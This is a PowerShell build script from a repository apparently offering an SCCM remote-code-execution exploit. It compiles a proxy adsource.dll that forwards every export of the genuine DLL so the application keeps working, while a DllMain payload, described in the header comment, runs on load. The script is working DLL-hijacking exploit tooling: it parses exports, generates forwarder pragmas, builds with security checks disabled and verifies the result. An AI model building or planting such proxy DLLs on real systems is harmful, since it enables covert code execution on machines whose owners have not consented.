mirror of
https://github.com/OmriBaso/SCCM-CVE-2026-47301-Remote-Code-Execution-Exploit
synced 2026-08-14 10:52:25 +00:00
105 lines
4.5 KiB
PowerShell
105 lines
4.5 KiB
PowerShell
#requires -Version 5.1
|
|
<#
|
|
Build adsource.dll forwarder proxy.
|
|
|
|
Parses pragmas.txt, generates _forwarders.c with #pragma comment(linker, "/export:...")
|
|
directives that create real PE forwarder entries pointing to adsource_original.dll.
|
|
No .def file — pragmas handle all 147 exports reliably (including mangled C++ names).
|
|
DllMain payload fires on load; every real export is served by the genuine DLL.
|
|
#>
|
|
|
|
[CmdletBinding()]
|
|
param(
|
|
[string]$PragmasFile = (Join-Path $PSScriptRoot 'pragmas.txt'),
|
|
[string]$Source = (Join-Path $PSScriptRoot 'adsource_proxy.cpp'),
|
|
[string]$OutputDll = (Join-Path $PSScriptRoot 'adsource.dll')
|
|
)
|
|
|
|
$ErrorActionPreference = 'Stop'
|
|
|
|
# --- Locate MSVC toolchain --------------------------------------------------
|
|
$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
|
|
if (-not (Test-Path $vswhere)) { $vswhere = "${env:ProgramFiles}\Microsoft Visual Studio\Installer\vswhere.exe" }
|
|
if (-not (Test-Path $vswhere)) { throw "vswhere not found." }
|
|
$vsPath = & $vswhere -latest -property installationPath
|
|
$vcvars = Join-Path $vsPath 'VC\Auxiliary\Build\vcvars64.bat'
|
|
if (-not (Test-Path $vcvars)) { throw "vcvars64.bat not found at $vcvars" }
|
|
Write-Host "[+] Toolchain: $vsPath"
|
|
|
|
# --- Parse pragmas ----------------------------------------------------------
|
|
Write-Host "[+] Parsing $PragmasFile"
|
|
$entries = New-Object System.Collections.Generic.List[PSObject]
|
|
Get-Content $PragmasFile | ForEach-Object {
|
|
if ($_ -match '/export:([^=]+)=adsource\.[^,]+,@(\d+)') {
|
|
$entries.Add([PSCustomObject]@{ Name = $matches[1]; Ordinal = [int]$matches[2] })
|
|
}
|
|
}
|
|
if ($entries.Count -eq 0) { throw "No exports parsed from $PragmasFile" }
|
|
Write-Host "[+] Parsed $($entries.Count) exports"
|
|
|
|
# --- Generate _forwarders.c with pragma-based PE forwarders ------------------
|
|
$fwdSrc = Join-Path $PSScriptRoot '_forwarders.c'
|
|
$sb = [System.Text.StringBuilder]::new()
|
|
[void]$sb.AppendLine('// Auto-generated PE forwarder exports -> adsource_original.dll')
|
|
foreach ($e in $entries) {
|
|
[void]$sb.AppendLine("#pragma comment(linker, `"/export:$($e.Name)=adsource_original.$($e.Name),@$($e.Ordinal)`")")
|
|
}
|
|
[IO.File]::WriteAllText($fwdSrc, $sb.ToString(), [Text.Encoding]::ASCII)
|
|
Write-Host "[+] Wrote $fwdSrc ($($entries.Count) forwarder pragmas)"
|
|
|
|
# --- Compile + link via vcvars64 --------------------------------------------
|
|
Write-Host "[+] Compiling..."
|
|
$mainObj = $Source -replace '\.cpp$', '.obj'
|
|
$fwdObj = $fwdSrc -replace '\.c$', '.obj'
|
|
|
|
$buildCmd = @"
|
|
call "$vcvars" >nul 2>&1
|
|
cl /nologo /W3 /O1 /MT /GS- /Zl /c /Fo"$mainObj" "$Source"
|
|
if errorlevel 1 exit /b 1
|
|
cl /nologo /W3 /O1 /c /Fo"$fwdObj" "$fwdSrc"
|
|
if errorlevel 1 exit /b 1
|
|
link /nologo /DLL /MACHINE:X64 /SUBSYSTEM:WINDOWS /ENTRY:DllMain /OUT:"$OutputDll" "$mainObj" "$fwdObj" kernel32.lib user32.lib advapi32.lib
|
|
"@
|
|
|
|
$tmpBat = Join-Path $PSScriptRoot '_build.bat'
|
|
$buildCmd | Out-File $tmpBat -Encoding ascii
|
|
$buildOut = cmd /c $tmpBat 2>&1
|
|
$buildExit = $LASTEXITCODE
|
|
Remove-Item $tmpBat -Force
|
|
|
|
$buildOut | ForEach-Object { Write-Host " $_" }
|
|
|
|
if ($buildExit -ne 0 -or -not (Test-Path $OutputDll)) {
|
|
throw "Build failed (exit $buildExit)."
|
|
}
|
|
|
|
$fi = Get-Item $OutputDll
|
|
Write-Host "[+] Built: $OutputDll ($($fi.Length) bytes)" -ForegroundColor Green
|
|
|
|
# --- Verify forwarder exports -----------------------------------------------
|
|
Write-Host "[+] Verifying exports (expecting PE forwarders)..."
|
|
$dumpFile = Join-Path $PSScriptRoot '_dumpbin.txt'
|
|
& cmd /c "call `"$vcvars`" >nul 2>&1 && dumpbin /nologo /EXPORTS `"$OutputDll`"" |
|
|
Out-File $dumpFile -Encoding ascii
|
|
$dumpLines = Get-Content $dumpFile
|
|
Remove-Item $dumpFile -Force
|
|
|
|
$forwarderCount = @($dumpLines | Where-Object { $_ -match '\(forwarded to adsource_original\.' }).Count
|
|
$stubCount = @($dumpLines | Where-Object { $_ -match 'Stub' }).Count
|
|
|
|
Write-Host "[+] Forwarder exports: $forwarderCount / $($entries.Count)" -ForegroundColor $(if ($forwarderCount -ge $entries.Count) { 'Green' } else { 'Yellow' })
|
|
if ($stubCount -gt 0) {
|
|
Write-Warning "Found $stubCount Stub references in export table (should be 0 for forwarder build)"
|
|
}
|
|
if ($forwarderCount -lt $entries.Count) {
|
|
Write-Warning "Missing $(($entries.Count - $forwarderCount)) forwarders -- check dumpbin output"
|
|
}
|
|
|
|
# --- Cleanup temp files -----------------------------------------------------
|
|
Remove-Item $fwdSrc -Force -ErrorAction SilentlyContinue
|
|
Remove-Item $fwdObj -Force -ErrorAction SilentlyContinue
|
|
Remove-Item $mainObj -Force -ErrorAction SilentlyContinue
|
|
|
|
Write-Host ""
|
|
Write-Host "Output: $OutputDll" -ForegroundColor Green
|